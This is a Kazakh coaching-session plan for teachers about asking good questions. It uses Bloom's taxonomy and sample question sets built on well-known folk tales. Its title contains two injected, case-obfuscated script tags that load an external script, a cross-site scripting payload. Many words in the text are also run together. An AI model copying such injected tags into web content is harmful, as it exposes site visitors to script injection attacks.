Сұрақтар қою – сапалы білім беруді жақсартыудың басты құралы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Коучингтің тақырыбы

• Сұрақтар қою – сапалы білім беруді жақсартыудың басты құралы

Мақсаты

• Әріптестерінеоқупроцесіндесұрақтарқоюдыңмаңыздылығынтүсінугекөмектесу.

Нәтиже

• Мұғалімдер төменгі және жоғары деңгейдегі сұрақтарды құрай алады.  

Негізгі  идеясы

• Сұрақтардыңтиімдіқойылуы-мұғалімдердіңсыниойлаутәсілдерінмеңгеруіарқылытүсінудіталапететіноқытудағыажырамасбөлік. Сұрақтардытиімділігіқоюбағалау мен оқытудыңинтеграциясыарқылыжүзегеасырылады.

• Коучингтің барысы

Тренинг-жаттығу, топтарға бөлу,

1. минут)

• Сұраққоябілу - ақыл-ойдыңқажеттібелгісінемесе алғырлықтың белгісі.
• Психологиялықтренинг"Мен бағалайтын сендегі құндылықтар…". Барлыққатысушыларшеңбергеайналадыжәнеәрқайсысыжақынтұрғанадамға "Мен сендегібағалайтынқұндылықтар..."сөзінайтады. Тренинг мұғалімдердіынтымақтастықта достыққа бейімдейді.
• Топтарғабөлу.Әрбірқатысушышляпадан КМ қабылдауатауы бар қағазпарағынтаңдайды (шляпада сын тұрғысынанойлаутәсілдерінің 2-ші атауы бар жапырақтар: "Блумтаксономиясы" және "БлумТүймедағы". Осылайша 2 топ құрылады
• Коучингсұрағы:
• Сіздіңтоптарыңыздыңатауын не біріктіреді?
• Бізбүгін не туралыайтамыз (осы тәсілдер негебағытталған)?

Кіріспе тапсырма

1. минут)

2. Коуч топтарға А.Бартоның"Біздің Таня қаттыжылайды, өзенгедопты домалатып алды,Танечка жылама, өзенгедопбатпайды.»

Жаттықтырушы 2 түрлі сұрақоқиды:

• 1 түрі:
• А) Таня не істеді? б) Таня кімдікі? в)Таняқалайжылайды?
• 2 түрі:
• а) Бұлөлеңніңқандайсезімдері бар?
• б) Автор допты неге суғабатпайдыдейді?
• в) Сізбұлөлеңдіқалай аяқтар едіңіз?
• Бұлсұрақтарнеменерекшеленеді?
• Коуч топтарғасұрақтары бар парақшалартаратады

• Сұрақ беру барысында мұғалім үшін бұл сұрақтар немен ерекшеленеді? 

Іс- тәжірибе

№1 Тапсырма

(20 минут)

«Бауырсақ» ертегісі

1. Білім.

- Бұл ертегіні кім жазды?

- Неге ол орыс халқының ертегісі деп аталады?

- Ертегідегі басты кейіпкерлерді атаңдар.

- Ертегінің мазмұнын айтып беріңдер.

2. Түсіну.

- Бауырсақ ол кім?

- Неден жасалған?

- Ертегі кейіпкерлері Бауырсақпен қандай кезекпенен кездеседі?

3. Қолдану.

- Қазіргі жағдайда Бауырсақ өзін қалай ұстар еді? (Мысалы, ол қазіргі заманауи қалаға тап болса)

4. Талдау.

- Ертегіні неше бөлімге бөлуге болады?

- Бауырсақ неге домалады?

- Бауырсақ неліктен түлкінің қулығына тап болды?

5. Сараптау.

- Ертегінің негізгі мазмұны неде?

Есімізге түсірейікші, осы ертегінің мазмұнына сәйкес қандай өмірлік жағдайлар бар?

6. Бағалау.

- Осы ертегіге сәйкес келетін мақал-мітелді есімізге түсірейік?

- Бағамдап көріңіздерші, егер түлкі Бауырсақты жемегенде не болушы еді?

 «Шалқан» ертегісі.

1. Білім.

- Бұл ертегінің басты кейіпкерлерін атаңыздар? Әр кейіпкер не істейді? 

2. Түсіну.

- Неге әрбіркейіпкернақтыбір кейіпкерден көмексұрады?

- Келесісуреттердідұрысретпенорналастырыңыз.

3. Қолдану.

- Шынайы өмірде қандай осыған ұқсас жағдайлар кездесуі мүмкін?

4. Талдау.

- Түсіндіріңіздерші, ертегі кейіпкерлерінің шалқанды жерден жұлып ала алды?

5. Саралау.

- Осы сюжетке ұқсас басқа әдеби шығармаларды атаңдар

- Ертегіге сай мақал- мәтелдер таңдаңдар.

6. Бағалау.

- Әр кейіпкердің рөлін бағалаңдар.

- Бәрі тышқанның арқасында болды ма?

3. "Шұбар тауық" ертегісі.

1. Білім.

- Ертегі кейіпкерлерін атаңдар.

- Шұбар тауық не істеді?

- Ол қандай жұмыртқа тапты?

2. Түсіну.

- Неліктен тауықты шұбар деп атайды?

- Әже мен ата неге жылайды?

- Неліктен жұмыртқа сынып қалды?

3. Қолдану.

- Ертегі қойылымы.

- Әже мен ата қалай жылайды?

- Тышқан қалай жүрді және жұмыртқа қалай сынып қалды?

4. Талдау.

- Ертегі кейіпкерлерінің көңіл-күйі қалай өзгерді?

- Ертегінің суретті жоспарын құрастыр.

- Болған оқиғаға орай ертегі кейіпкерлері тығырықтан қалай шықты?

5. Сараптау.

- Қиялдаңыздаршы, егер тышқан жұмыртқаны сындырмағанда не болар еді?

- Ал, сіз алтын жұмыртқамен не істер едіңіз?

6. Бағалау.

- Қандай мақсатпен ата мен әже алтын жұмыртқаны ұрды?

- Ертегінің басты мазмұнын анықтайтын мақал-мәтелді таңдаңыз. 

Коуч«Блум Түймедағы» әдісі бойынша әр топқа А4 парағына сұрақтар құрауды ұсынады. 

№2 Тапсырма

(8 минут)

Коуч: Сұрақтарқоюкезіндемұғалімдержіберетінеңкөптаралғанқателердіқұрыңыз.

Рефлексия

(7 минут)

 «Чемодан, еттартқыш, себет» әдісі. А4 парағында